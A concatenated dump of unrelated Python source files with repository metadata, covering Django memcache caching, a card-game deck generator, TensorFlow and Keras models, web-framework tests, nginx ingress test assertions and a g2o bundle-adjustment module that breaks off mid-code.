# -*- coding: utf-8 -*- __author__ = 'zen' import logging import time import functools import hashlib import inspect import pickle import pylibmc from django.conf import settings from base.core.util import dateutils # print settings.memcache_settings memcache_settings = settings.memcache_settings func_cache = pylibmc.Client( memcache_settings["func_cache"], binary=True, behaviors={"tcp_nodelay": True, "ketama": True} ) page_cache = pylibmc.Client( memcache_settings["page_cache"], binary=True, behaviors={"tcp_nodelay": True, "ketama": True} ) fragment_cache = pylibmc.Client( memcache_settings["fragment_cache"], binary=True, behaviors={"tcp_nodelay": True, "ketama": True} ) user_cache = pylibmc.Client( memcache_settings["user_cache"], binary=True, behaviors={"tcp_nodelay": True, "ketama": True} ) def get_plus_json(key, func, expire_m=None, expire_s=None, is_update=False, set_retry=True, not_valid_check={}): key_expire_name = "api.expired_at" raw_content = None if not is_update: n = time.time() content = page_cache.get(key) try: u = time.time() - n if u > 1: logging.error("get key %s use %s", key, u) except Exception, e: pass if content: if isinstance(content, dict) and content.has_key(key_expire_name): if content.get(key_expire_name) > int(time.time()): #cache not expired logging.debug("get key from cache:%s" % key) return [content, ] else: #cache expired,need to get new one #if get new key exception use old one logging.debug("expired %s" % key) raw_content = content def get_and_set(): try: #get result from origin function result = func() if result: #new version key result #{ # "api.body" : xxxxx # "api.expire" : 1363672663 #} valid = True if not_valid_check: if isinstance(result, list): for r in result: for k, v in not_valid_check.iteritems(): if r.get(k) == v: valid = False break if valid: logging.debug("set new version data") data = {key_expire_name: int(time.time() + expire_m)} for r in result: data.update(r) logging.debug("get data add set key:%s" % key) page_cache.set(key, data, expire_s) return [data, ] except Exception, e: logging.error(e) if raw_content: logging.debug("exception use old key:%s" % key) if set_retry: #set 10 minute retry data = raw_content data.update({key_expire_name: int(time.time() + settings.cache_expire_15M)}) page_cache.set(key, data, expire_s) return [raw_content, ] else: #must be evctions or old key logging.error(e) raise e #default pool0 one hour after be expired. expire_m = expire_m or settings.cache_expire_1H #expire_m = 3 for test #2h not expire expire_s = expire_s or expire_m + settings.cache_expire_2H #key for mutex key_mutex = '%s_mutex' % key if page_cache.add(key_mutex, 1, settings.cache_expire_1M): #only allow one logging.debug("*mutex: %s" % key_mutex) try: raw_content = get_and_set() finally: logging.debug("delete mutex key:%s" % key_mutex) #delate mutex key page_cache.delete(key_mutex) else: #on key expire be mutex go here use old key to return logging.debug("*mutex locked: %s" % key) if not raw_content: #retry to get from func() ,normally not go here ,must be evictions logging.debug("* evictions: %s" % key) import timeit n = timeit.default_timer() raw_content = get_and_set() spend = timeit.default_timer() - n #todo logging.error spend url logging.error("* evictions: %s %s" % (func.func_closure[0].cell_contents.request.path, spend)) return raw_content def _encode_cache_key(k): if isinstance(k, (bool, int, long, float, str)): return str(k) elif isinstance(k, unicode): return k.encode('utf-8') elif isinstance(k, dict): import urllib for x in k.keys(): k[x] = _encode_cache_key(k[x]) return urllib.urlencode(sorted(k.items()), True) else: return repr(k) def function_cache(cache_keys="", prefix='api#phone', suffix='fun', expire_time=60 * 60, is_update_cache='', extkws={}): u""" cache_keys：缓存取那些参数当key,key之间用豆号分割,空就是用函数所有参数 prefix:前缀，suffix：后缀 expire_time：缓存时间，defaut time 30'm is_update_cache="YES" or '' ，是否马上更新缓存,空到expire_time才更新缓存 extkws={},追加缓存参数,同名覆盖缓存参数 is_obd:"YES" or '' ,缓存运营管理 生成ckey的长度len不超过200 """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kwargs): cache_keys_list = [] if cache_keys: cache_keys_list = cache_keys.split(',') arg_names, varargs, varkw, defaults = inspect.getargspec(func) #defaults _defargs = dict(zip(arg_names[-len(defaults):], defaults)) if defaults else {} _args1 = dict(zip(arg_names, args)) _kwds = dict(_defargs, **_args1) _kwds.update(kwargs) _kwds.update(extkws) otheragrs = [] if varargs: tmp = _args1.values() otheragrs = [v for v in args if v not in tmp] if otheragrs: for i in xrange(0, len(otheragrs)): _k = "_arg{}".format(i) _kwds[_k] = otheragrs[i] if cache_keys_list: for k, v in _kwds.items(): if k not in cache_keys_list: _kwds.pop(k, None) ckey = "" if _kwds: ckey = _encode_cache_key(_kwds) ckey = hashlib.md5(ckey).hexdigest() ckey = "{}#{}#{}".format(prefix, ckey, suffix) if len(ckey) > 200: ckey = ckey[:200] try: value = None if is_update_cache.upper() == 'YES' else func_cache.get(ckey) if value is None: value = func(*args, **kwargs) if value: func_cache.set(ckey, value, expire_time) return value except Exception, e: return func(*args, **kwargs) wrapper.original_function = func wrapper.func_name = func.func_name wrapper.__doc__ = func.__doc__ return wrapper return decorator def page_static_cache(timeout=60 * 60 * 1, content_type="text/html", user_cache=True, host_cache=True,key_prefix=True): """ page cache param: timeout:the deadline of cache default is 1800 """ def _func(func): def wrap(request, *a, **kw): key = request.get_full_path() try: key = key.encode("utf-8") except Exception, e: key = str(key) if key_prefix: key = "%s:%s" % (dateutils.zero_date().strftime('%Y-%m-%d'), key) if user_cache: key = "%s:%s" % (key, request.user.id) if host_cache: key = "%s:%s" % (key, request.get_host()) logging.debug("form get key:%s" % key) key = hashlib.md5(key).hexdigest() response = page_cache.get(key) if not response or settings.DEBUG: response = func(request, *a, **kw) if response: logging.debug("form set key:%s" % key) page_cache.set(key, pickle.dumps(response), timeout) else: response = pickle.loads(response) logging.debug("form get key:%s" % key) return response return wrap return _func

42af4742cc5e4bfe401ae862524e95f5d15be1d3

py

Python

duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/4_features/numtrees_45/rule_38.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/4_features/numtrees_45/rule_38.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/4_features/numtrees_45/rule_38.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

def findDecision(obj): #obj[0]: Coupon, obj[1]: Education, obj[2]: Occupation, obj[3]: Distance # {"feature": "Coupon", "instances": 23, "metric_value": 0.9877, "depth": 1} if obj[0]>0: # {"feature": "Occupation", "instances": 20, "metric_value": 0.9341, "depth": 2} if obj[2]<=12: # {"feature": "Distance", "instances": 18, "metric_value": 0.8524, "depth": 3} if obj[3]>1: # {"feature": "Education", "instances": 11, "metric_value": 0.9457, "depth": 4} if obj[1]<=0: return 'True' elif obj[1]>0: return 'False' else: return 'False' elif obj[3]<=1: # {"feature": "Education", "instances": 7, "metric_value": 0.5917, "depth": 4} if obj[1]>0: return 'True' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' elif obj[2]>12: return 'False' else: return 'False' elif obj[0]<=0: return 'False' else: return 'False'

6f16e1f596ec434153c8907b3eb7296db741a474

py

Python

modules/deckbuilder.py

Nynergy/escher

cae055c1a11402f47ee577747985cf85b041ee0d

2021-12-12T18:39:07.000Z

2021-12-12T18:39:07.000Z

modules/deckbuilder.py

Nynergy/escher

cae055c1a11402f47ee577747985cf85b041ee0d

modules/deckbuilder.py

Nynergy/escher

cae055c1a11402f47ee577747985cf85b041ee0d

import random from classes.Deck import RunnerDeck, CorpDeck def generate_deck(args, card_pool): if args['side'] == 'runner': return generate_runner_deck(args, card_pool) else: return generate_corp_deck(args, card_pool) def generate_runner_deck(args, card_pool): identity = random_identity(args, card_pool) deck = RunnerDeck(identity) non_id_cards = [ c for c in card_pool if c['type_code'] != 'identity' ] if args['guaranteed_econ']: gamble = next(card for card in non_id_cards if card['title'] == 'Sure Gamble') non_id_cards.remove(gamble) for i in range(gamble['deck_limit']): deck.addCard(gamble, False) if args['guaranteed_types']: types = ['Fracter', 'Decoder', 'Killer'] for breaker_type in types: random.shuffle(non_id_cards) icebreaker = next(card for card in non_id_cards if 'keywords' in card and breaker_type in card['keywords']) non_id_cards.remove(icebreaker) deck.addCard(icebreaker, icebreaker['faction_code'] == deck.identity['faction_code']) deck = fill_deck(deck, non_id_cards) return deck def random_identity(args, card_pool): faction = args['faction'] if faction: faction = [faction] if faction != 'minifaction' else ['adam', 'apex', 'sunny-lebeau'] identities = [ i for i in card_pool if i['type_code'] == 'identity' and i['faction_code'] in faction ] else: identities = [ i for i in card_pool if i['type_code'] == 'identity' ] random.shuffle(identities) identity = identities.pop() return identity def fill_deck(deck, card_pool): # Keep adding cards as long as minimum size hasn't been reached while deck.current_deck_size < deck.min_deck_size: random.shuffle(card_pool) card = card_pool.pop() number_to_add = random.randint(1, card['deck_limit']) for i in range(number_to_add): deck.addCard(card, card['faction_code'] == deck.identity['faction_code']) return deck def generate_corp_deck(args, card_pool): identity = random_identity(args, card_pool) deck = CorpDeck(identity) # Add agendas to the deck before anything else valid_factions = [identity['faction_code'], 'neutral-corp'] agendas = [ a for a in card_pool if a['type_code'] == 'agenda' and a['faction_code'] in valid_factions ] deck = fill_agendas(deck, agendas) other_cards = [ c for c in card_pool if c['type_code'] not in ['identity', 'agenda'] ] if args['guaranteed_econ']: hedge = next(card for card in other_cards if card['title'] == 'Hedge Fund') other_cards.remove(hedge) for i in range(hedge['deck_limit']): deck.addCard(hedge, False) if args['guaranteed_types']: types = ['Barrier', 'Code Gate', 'Sentry'] for ice_type in types: random.shuffle(other_cards) ice = next(card for card in other_cards if 'keywords' in card and ice_type in card['keywords']) other_cards.remove(ice) deck.addCard(ice, ice['faction_code'] == deck.identity['faction_code']) num_ice = 0 while num_ice < args['minimum_ice']: random.shuffle(other_cards) ice = next(card for card in other_cards if card['type_code'] == 'ice') other_cards.remove(ice) number_to_add = random.randint(1, ice['deck_limit']) for i in range(number_to_add): add_success = deck.addCard(ice, ice['faction_code'] == deck.identity['faction_code']) if add_success: num_ice += 1 deck = fill_deck(deck, other_cards) return deck def fill_agendas(deck, card_pool): # Add agendas until we are in our point range point_range = deck.agenda_point_range while deck.current_agenda_points < point_range[0]: random.shuffle(card_pool) agenda = card_pool.pop() number_to_add = random.randint(1, agenda['deck_limit']) for i in range(number_to_add): deck.addAgenda(agenda) return deck

ef982fba932d8fdf8b504b5687b06ca4ee6eafb6

py

Python

cnn_wrapper/SCoordNet.py

somanyunknowns/KFNet

f0afda975211698f4689f295373df9a2d3660a47

2020-03-17T06:18:11.000Z

2022-03-08T06:13:21.000Z

cnn_wrapper/SCoordNet.py

somanyunknowns/KFNet

f0afda975211698f4689f295373df9a2d3660a47

2020-04-10T00:46:42.000Z

2021-06-30T00:07:06.000Z

cnn_wrapper/SCoordNet.py

somanyunknowns/KFNet

f0afda975211698f4689f295373df9a2d3660a47

2020-04-09T21:53:27.000Z

2022-03-16T08:26:41.000Z

from cnn_wrapper.network import Network, layer import tensorflow as tf class SCoordNet(Network): def __init__(self, inputs, is_training, focal_x, focal_y, u, v, dropout_rate=0.5, seed=None, reuse=False): Network.__init__(self, inputs, is_training, dropout_rate, seed, reuse) self.focal_x = focal_x self.focal_y = focal_y self.u = u self.v = v images = inputs['input'] shape = images.get_shape().as_list() self.batch_size = shape[0] self.height = shape[1] self.width = shape[2] def setup(self): (self.feed('input') .preprocess(name='preprocess') .conv(3, 64, 1, name='conv1a') .conv(3, 64, 1, name='conv1b') .conv(3, 256, 2, name='conv2a') .conv(3, 256, 1, name='conv2b') .conv(3, 512, 2, name='conv3a') .conv(3, 512, 1, name='conv3b') .conv(3, 1024, 2, name='conv4a') .conv(3, 1024, 1, name='conv4b') .conv(3, 512, 1, name='conv5') .conv(3, 256, 1, name='conv6') .conv(1, 128, 1, name='conv7') .conv(1, 4, 1, relu=False, name='prediction')) @layer def preprocess(self, input, name): input = tf.multiply(tf.subtract(input, 128.0), 0.00625, name=name) return input def GetOutput(self): prediction = self.get_output_by_name('prediction') coord_map = tf.slice(prediction, [0, 0, 0, 0], [-1, -1, -1, 3], name='coord') uncertainty_map = tf.slice(prediction, [0, 0, 0, 3], [-1, -1, -1, 1], name='uncertainty') uncertainty_map = tf.exp(uncertainty_map) return coord_map, uncertainty_map

e931329cd90cbd5a7988895ca68721eb47f95034

py

Python

tests/features/hashid/test_hashid_middleware.py

cercos/masonite

f7f220efa7fae833683e9f07ce13c3795a87d3b8

2018-02-14T01:59:51.000Z

2022-03-31T17:09:20.000Z

tests/features/hashid/test_hashid_middleware.py

cercos/masonite

f7f220efa7fae833683e9f07ce13c3795a87d3b8

2018-02-11T00:27:26.000Z

2022-03-21T12:00:24.000Z

tests/features/hashid/test_hashid_middleware.py

cercos/masonite

f7f220efa7fae833683e9f07ce13c3795a87d3b8

2018-03-18T00:08:16.000Z

2022-02-26T01:51:58.000Z

from src.masonite.essentials.middleware import HashIDMiddleware from src.masonite.essentials.helpers.hashid import hashid from tests import TestCase class TestHashID(TestCase): def test_hashid_hashes_integer(self): assert hashid(10) == "l9avmeG" def test_hashid_hashes_several_integers(self): assert hashid(10, 20, 30) == "dB1I1uo" def test_hashid_decodes_several_integers(self): assert hashid("B1I1uo", decode=True) == (10, 20, 30) def test_hashid_decodes_non_encoded_value_is_falsey(self): assert not hashid("B8I6ub", decode=True) def test_hashid_can_decode_dictionary(self): assert ( hashid( { "id": "l9avmeG", "name": "Joe", }, decode=True, ) == {"id": 10, "name": "Joe"} ) def test_middleware(self): request = self.make_request(query_string="id=l9avmeG&name=Joe") HashIDMiddleware().before(request, None) assert request.all() == {"id": 10, "name": "Joe"}

ae3922f0b20af4af29ab6d392c89fc9d81e05871

py

Python

house/models.py

Redhead95/taskful_api

2b28a7f6ecaeb1c77d3fd3bea9ae5922667b1044

house/models.py

Redhead95/taskful_api

2b28a7f6ecaeb1c77d3fd3bea9ae5922667b1044

house/models.py

Redhead95/taskful_api

2b28a7f6ecaeb1c77d3fd3bea9ae5922667b1044

import os import uuid from django.db import models from django.utils.deconstruct import deconstructible @deconstructible class GenerateHouseImagePath(object): def __init__(self): pass def __call__(self, instance, filename): ext = filename.split('.')[-1] path = f'houses/{instance.id}/images/' name = f'main.{ext}' return os.path.join(path, name) house_image_path = GenerateHouseImagePath() class House(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=120) image = models.FileField(upload_to=house_image_path, blank=True, null=True) description = models.TextField() points = models.IntegerField(default=0) completed_tasks_count = models.IntegerField(default=0) notcompleted_tasks_count = models.IntegerField(default=0) manager = models.OneToOneField('user.profile', on_delete=models.SET_NULL, blank=True, null=True, related_name='managed_house') created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return f'{self.id} | {self.name}'

648a84c66f7c657565d633d1eae7935b7bcec342

py

Python

samples/openapi3/client/petstore/python-experimental/test/test_foo.py

therockstorm/openapi-generator

01d0b5d4780ebe2d6025e2b443ec136c6ce16c45

2018-05-12T02:58:07.000Z

2022-03-31T21:19:39.000Z

samples/openapi3/client/petstore/python-experimental/test/test_foo.py

therockstorm/openapi-generator

01d0b5d4780ebe2d6025e2b443ec136c6ce16c45

2018-05-12T14:25:43.000Z

2022-03-31T23:59:30.000Z

samples/openapi3/client/petstore/python-experimental/test/test_foo.py

therockstorm/openapi-generator

01d0b5d4780ebe2d6025e2b443ec136c6ce16c45

2018-05-12T12:06:08.000Z

2022-03-31T19:52:51.000Z

# coding: utf-8 """ OpenAPI Petstore This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import sys import unittest import petstore_api from petstore_api.model.foo import Foo class TestFoo(unittest.TestCase): """Foo unit test stubs""" def setUp(self): pass def tearDown(self): pass def testFoo(self): """Test Foo""" # FIXME: construct object with mandatory attributes with example values # model = Foo() # noqa: E501 pass if __name__ == '__main__': unittest.main()

862ce7e1b0fa5fa9f0ead5a6a6d0ff08fb9e8d8b

py

Python

configs/ocrnet/ocrnet_hr18_512x512_160k_ade20k.py

Xlinford/mmsegmentation

8b444de5e6db2af2538a73a93ac75204f5c3bb2f

configs/ocrnet/ocrnet_hr18_512x512_160k_ade20k.py

Xlinford/mmsegmentation

8b444de5e6db2af2538a73a93ac75204f5c3bb2f

configs/ocrnet/ocrnet_hr18_512x512_160k_ade20k.py

Xlinford/mmsegmentation

8b444de5e6db2af2538a73a93ac75204f5c3bb2f

_base_ = [ '../_base_/models/ocrnet_hr18.py', '../_base_/datasets/ade20k.py', '../_base_/default_runtime.py', '../_base_/schedules/schedule_160k.py' ] norm_cfg = dict(type='SyncBN', requires_grad=True) model = dict(decode_head=[ dict( type='FCNHead', in_channels=[18, 36, 72, 144], channels=sum([18, 36, 72, 144]), in_index=(0, 1, 2, 3), input_transform='resize_concat', kernel_size=1, num_convs=1, concat_input=False, dropout_ratio=-1, num_classes=150, norm_cfg=norm_cfg, align_corners=False, loss_decode=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=0.4)), dict( type='OCRHead', in_channels=[18, 36, 72, 144], in_index=(0, 1, 2, 3), input_transform='resize_concat', channels=512, ocr_channels=256, dropout_ratio=-1, num_classes=150, norm_cfg=norm_cfg, align_corners=False, loss_decode=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)), ])

3c236624b72e9e4a853097191fcd5d1fa0bea629

py

Python

pokebot/models/dqn.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

2020-05-20T04:52:24.000Z

2020-05-20T04:52:24.000Z

pokebot/models/dqn.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

pokebot/models/dqn.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

######################### # Author: Neil Acharya # # Generic Model Definition ######################### from tensorflow.keras.layers import Dense, Flatten from tensorflow.keras.models import Sequential from ..bots.bot import BotPlayer class DQNModel: def __init__(self, player: BotPlayer): self.player = player self.model = None self.setup_model_layers() def setup_model_layers(self): self.model = Sequential() self.model.add(Dense(64, activation="elu", input_shape=(1, self.player.state_engine.shape,))) # Our embedding have shape (1, 10), which affects our hidden layer dimension and output dimension # Flattening resolve potential issues that would arise otherwise self.model.add(Flatten()) self.model.add(Dense(64, activation="relu")) self.model.add(Dense(len(self.player.action_space()), activation="linear"))

0615cce7232f7de1e29926298041520146298486

py

Python

tests/suite/custom_assertions.py

Taymindis/kubernetes-ingress

28d02e476455b2fd9ac9446cdff06749642ddb0c

2016-03-10T14:33:39.000Z

2022-03-31T20:01:58.000Z

tests/suite/custom_assertions.py

Taymindis/kubernetes-ingress

28d02e476455b2fd9ac9446cdff06749642ddb0c

2016-03-10T15:22:26.000Z

2022-03-31T13:20:57.000Z

tests/suite/custom_assertions.py

Taymindis/kubernetes-ingress

28d02e476455b2fd9ac9446cdff06749642ddb0c

2016-03-12T15:17:09.000Z

2022-03-31T02:00:55.000Z

"""Describe the custom assertion methods""" import time import pytest import requests from suite.vs_vsr_resources_utils import get_vs_nginx_template_conf from suite.resources_utils import get_events def assert_no_new_events(old_list, new_list): assert len(old_list) == len(new_list), "Expected: lists are of the same size" for i in range(len(new_list) - 1, -1, -1): if old_list[i].count != new_list[i].count: pytest.fail(f"Expected: no new events. There is a new event found:\"{new_list[i].message}\". Exiting...") def assert_event_count_increased(event_text, count, events_list) -> None: """ Search for the event in the list and verify its counter is more than the expected value. :param event_text: event text :param count: expected value :param events_list: list of events :return: """ for i in range(len(events_list) - 1, -1, -1): if event_text in events_list[i].message: assert events_list[i].count > count return pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def assert_event_and_count(event_text, count, events_list) -> None: """ Search for the event in the list and compare its counter with an expected value. :param event_text: event text :param count: expected value :param events_list: list of events :return: """ for i in range(len(events_list) - 1, -1, -1): if event_text in events_list[i].message: assert events_list[i].count == count return pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def assert_event_with_full_equality_and_count(event_text, count, events_list) -> None: """ Search for the event in the list and compare its counter with an expected value. :param event_text: event text :param count: expected value :param events_list: list of events :return: """ for i in range(len(events_list) - 1, -1, -1): # some events have trailing whitespace message_stripped = events_list[i].message.rstrip() if event_text == message_stripped: assert events_list[i].count == count return pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def assert_event_and_get_count(event_text, events_list) -> int: """ Search for the event in the list and return its counter. :param event_text: event text :param events_list: list of events :return: event.count """ for i in range(len(events_list) - 1, -1, -1): if event_text in events_list[i].message: return events_list[i].count pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def get_event_count(event_text, events_list) -> int: """ Search for the event in the list and return its counter. :param event_text: event text :param events_list: list of events :return: (int) """ for i in range(len(events_list) - 1, -1, -1): if event_text in events_list[i].message: return events_list[i].count pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def wait_for_event_count_increases(kube_apis, event_text, initial_count, events_namespace) -> None: """ Wait for the event counter to get bigger than the initial value. :param kube_apis: KubeApis :param event_text: event text :param initial_count: expected value :param events_namespace: namespace to fetch events :return: """ events_list = get_events(kube_apis.v1, events_namespace) count = get_event_count(event_text, events_list) counter = 0 while count <= initial_count and counter < 4: time.sleep(1) counter = counter + 1 events_list = get_events(kube_apis.v1, events_namespace) count = get_event_count(event_text, events_list) assert count > initial_count, f"After several seconds the event counter has not increased \"{event_text}\"" def assert_response_codes(resp_1, resp_2, code_1=200, code_2=200) -> None: """ Assert responses status codes. :param resp_1: Response :param resp_2: Response :param code_1: expected status code :param code_2: expected status code :return: """ assert resp_1.status_code == code_1 assert resp_2.status_code == code_2 def assert_event(event_text, events_list) -> None: """ Search for the event in the list. :param event_text: event text :param events_list: list of events :return: """ for i in range(len(events_list) - 1, -1, -1): if event_text in events_list[i].message: return pytest.fail(f"Failed to find the event \"{event_text}\" in the list. Exiting...") def assert_event_starts_with_text_and_contains_errors(event_text, events_list, fields_list) -> None: """ Search for the event starting with the expected text in the list and check its message. :param event_text: event text :param events_list: list of events :param fields_list: expected message contents :return: """ for i in range(len(events_list) -1, -1, -1): if str(events_list[i].message).startswith(event_text): for field_error in fields_list: assert field_error in events_list[i].message return pytest.fail(f"Failed to find the event starting with \"{event_text}\" in the list. Exiting...") def assert_vs_conf_not_exists(kube_apis, ic_pod_name, ic_namespace, virtual_server_setup): new_response = get_vs_nginx_template_conf(kube_apis.v1, virtual_server_setup.namespace, virtual_server_setup.vs_name, ic_pod_name, ic_namespace) assert "No such file or directory" in new_response def assert_vs_conf_exists(kube_apis, ic_pod_name, ic_namespace, virtual_server_setup): new_response = get_vs_nginx_template_conf(kube_apis.v1, virtual_server_setup.namespace, virtual_server_setup.vs_name, ic_pod_name, ic_namespace) assert "No such file or directory" not in new_response def wait_and_assert_status_code(code, req_url, host, **kwargs) -> None: """ Wait for a specific response status code. :param code: status_code :param req_url: request url :param host: request headers if any :paramv **kwargs: optional arguments that ``request`` takes :return: """ counter = 0 resp = requests.get(req_url, headers={"host": host}, **kwargs) while not resp.status_code == code and counter <= 30: time.sleep(1) counter = counter + 1 resp = requests.get(req_url, headers={"host": host}, **kwargs) assert resp.status_code == code, f"After 30 seconds the status_code is still not {code}" def assert_grpc_entries_exist(config) -> None: """ Assert that the gPRC config entries are present in the config file. :param config: the nginx config :return: """ assert "grpc_connect_timeout 60s;" in config assert "grpc_read_timeout 60s;" in config assert "grpc_send_timeout 60s;" in config assert "grpc_set_header X-Real-IP $remote_addr;" in config assert "grpc_set_header X-Forwarded-For $proxy_add_x_forwarded_for;" in config assert "grpc_set_header X-Forwarded-Host $host;" in config assert "grpc_set_header X-Forwarded-Port $server_port;" in config assert "grpc_set_header X-Forwarded-Proto $scheme;" in config assert 'grpc_set_header Host "$host";' in config assert "grpc_next_upstream error timeout;" in config assert "grpc_next_upstream_timeout 0s;" in config assert "grpc_next_upstream_tries 0;" in config def assert_proxy_entries_do_not_exist(config) -> None: """ Assert that the proxy config entries are not present in the config file. :param config: the nginx config :return: """ assert "proxy_connect_timeout 60s;" not in config assert "proxy_read_timeout 60s;" not in config assert "proxy_send_timeout 60s;" not in config assert "proxy_set_header Upgrade $http_upgrade;" not in config assert "proxy_http_version 1.1;" not in config assert "proxy_next_upstream error timeout;" not in config assert "proxy_next_upstream_timeout 0s;" not in config assert "proxy_next_upstream_tries 0;" not in config def assert_proxy_entries_exist(config) -> None: """ Assert that the proxy config entries are present in the config file. :param config: the nginx config :return: """ assert "proxy_connect_timeout 60s;" in config assert "proxy_read_timeout 60s;" in config assert "proxy_send_timeout 60s;" in config assert "proxy_set_header Upgrade $http_upgrade;" in config assert "proxy_http_version 1.1;" in config assert "proxy_next_upstream error timeout;" in config assert "proxy_next_upstream_timeout 0s;" in config assert "proxy_next_upstream_tries 0;" in config

be93e61f1a9573e5f997abeaf765390a53e1ff13

py

Python

python/pysvso/optimizers/bundle_adjust.py

mfkiwl/SEMANTIC_VISUAL_SUPPORTED_ODEMETRY

2249bf358f51b337eb52a347ea7d46bff0654576

2020-07-01T11:57:17.000Z

2022-03-23T12:40:43.000Z

python/pysvso/optimizers/bundle_adjust.py

mfkiwl/SEMANTIC_VISUAL_SUPPORTED_ODEMETRY

2249bf358f51b337eb52a347ea7d46bff0654576

2020-07-06T12:41:51.000Z

2022-02-09T23:43:11.000Z

python/pysvso/optimizers/bundle_adjust.py

mfkiwl/SEMANTIC_VISUAL_SUPPORTED_ODEMETRY

2249bf358f51b337eb52a347ea7d46bff0654576

2020-07-01T13:31:20.000Z

2022-02-03T07:21:42.000Z

import os import sys try: # PY.VERSION < 3.6 reduce except: # PY.VERSION >= 3.6 from functools import reduce import numpy as np import logging _logger = logging.getLogger("bundle_adjust") from pysvso.lib.sys import add_path from pysvso.lib.misc import AtomicCounter # pwd = os.path.dirname(os.path.realpath(__file__)) # add_path(os.path.join(pwd, '..', 'config')) # from config import Settings from pysvso.config import Settings # print(sys.path) # add compiled pybind11 binding lib of g2o for python class OptimizerConfig(Settings): pass optimizer_config = OptimizerConfig("pysvso.optimizers.settings") add_path(optimizer_config.G2OPYLIB_ROOT) import g2o # print(dir(g2o)) class Optimizer(g2o.SparseOptimizer): def __init__(self): super().__init__() def vertex_seq_generate(self, entity_name, entity_idx): v_idx = self.vertex_seq_generator() vertice = self._ivq.get(entity_name, None) if vertice is None: vertice = {} self._ivq[entity_name] = vertice vertice[entity_idx] = v_idx return v_idx def indexOfVertex(self, entity_name, entity_idx): vertice = self._ivq.get(entity_name, None) if vertice is None: raise Exception("No %s has been registered" % entity_name) v_idx = vertice.get(entity_idx, None) if v_idx is None: raise Exception("Could not find vertex for %s %d" % (entity_name, entity_idx)) return v_idx def get_pose(self, entity_name, frame_key): v_idx = self.indexOfVertex(entity_name, frame_key) pose = self.vertex(v_idx).estimate() ## pose = pose.inverse() ## return pose def get_point(self, entity_name, point_key): v_idx = self.indexOfVertex(entity_name, point_key) point = self.vertex(v_idx).estimate() return point def edge_seq_generate(self, key): e_idx = self.edge_seq_generator() _KEY_NAME = "VERTEX,VERTEX" edges = self._ieq.get(_KEY_NAME, None) if edges is None: edges = {} self._ieq[_KEY_NAME] = edges edges[key] = e_idx return e_idx def EstimateError(self): frames = self._map.get_active_frames() landmarks = self._map.trackList() pointCloud = self._map.trackPointsList() rsmes = [None, 0.] for i, frame in enumerate(frames): cam = frame.camera if cam is None: continue refined_pose = self.get_pose("Frame", frame.seq) # @todo : TODO estimate error of poses for _, point in pointCloud.items(): refined_point = self.get_point("MapPoint", point.seq) err = point.data- refined_point rsmes[1] += np.sum(err ** 2) if self.USE_LANDMARKS: for _, landmark in landmarks.items(): centroid = landmark.Centroid() refined_point = self.get_point("MapPoint", centroid.seq) err = point.data - refined_point rsmes[1] += np.sum(err ** 2) pass pass if self.USE_LANDMARKS: rsmes[1] /= float(len(pointCloud) + len(landmarks)) + 1e-3 else: rsmes[1] /= float(len(pointCloud)) + 1e-3 return rsmes def UpdateMap(self): frames = self._map.get_active_frames() landmarks = self._map.trackList() pointCloud = self._map.trackPointsList() for i, frame in enumerate(frames): cam = frame.camera if cam is None: continue frame.update_pose(self.get_pose("Frame", frame.seq)) for _, point in pointCloud.items(): refined_point = self.get_point("MapPoint", point.seq) print("refined mappoint %s position:" % point, refined_point) point.update(*refined_point) if self.USE_LANDMARKS: for _, landmark in landmarks.items(): centroid = landmark.Centroid() refined_point = self.get_point("MapPoint", centroid.seq) print("refined landmark centroid %s position:" % centroid, refined_point) centroid.update(*refined_point) pass pass # For the memoment we use g2o for fast development, later we will use our own graph optimizer based # on SBA algortihm class BundleAdjustment(Optimizer): def __init__(self): super().__init__() # g2o::BlockSlover_6_3(g2o::BlockSolver_6_3::LinearSolverType*) linear_solver = g2o.BlockSolverSE3(g2o.LinearSolverCSparseSE3()) solver = g2o.OptimizationAlgorithmLevenberg(linear_solver) super().set_algorithm(solver) # additional parameters # self._map = None # self.vertex_seq_generator = AtomicCounter() self.edge_seq_generator = AtomicCounter() # Point | Frame | Landmark -> Vertex mapping # inverse vertex query self._ivq = {} # (Vertex, Vetex) -> Edge mapping, a sparse matrix # inverse edges query self._ieq = {} # self.USE_LANDMARKS = False def set_FromMap(self, map): self._map = map return self # def Init(self): # frames = self._map.get_active_frames() # landmarks = self._map.trackList() # pointCloud = self._map.trackPointsList() # # # construct graph # # set key frame as vertices # for i, frame in enumerate(frames): # cam = frame.camera # pose = None # if cam is None: # continue # pose = g2o.SE3Quat(cam.R0, cam.t0.reshape(3, )) # v_idx = self.vertex_seq_generate("Frame", frame.seq) # # only set the first frame as stational piont # # self.add_pose(v_idx, pose, False)#fixed=frame.seq == 1) # # # when use ground truth # self.add_pose(v_idx, pose, fixed=frame.seq == 1) # # # set array of MapPoint as vertices # for _, point in pointCloud.items(): # v = point.data # v_idx = self.vertex_seq_generate("MapPoint", point.seq) # self.add_point(v_idx, v, marginalized=True) # # # set edges # observations = point.frames # # for frame_key, pixel_pos in observations.items(): # frame = self._map.findFrame(frame_key) # cam = frame.camera # if cam is 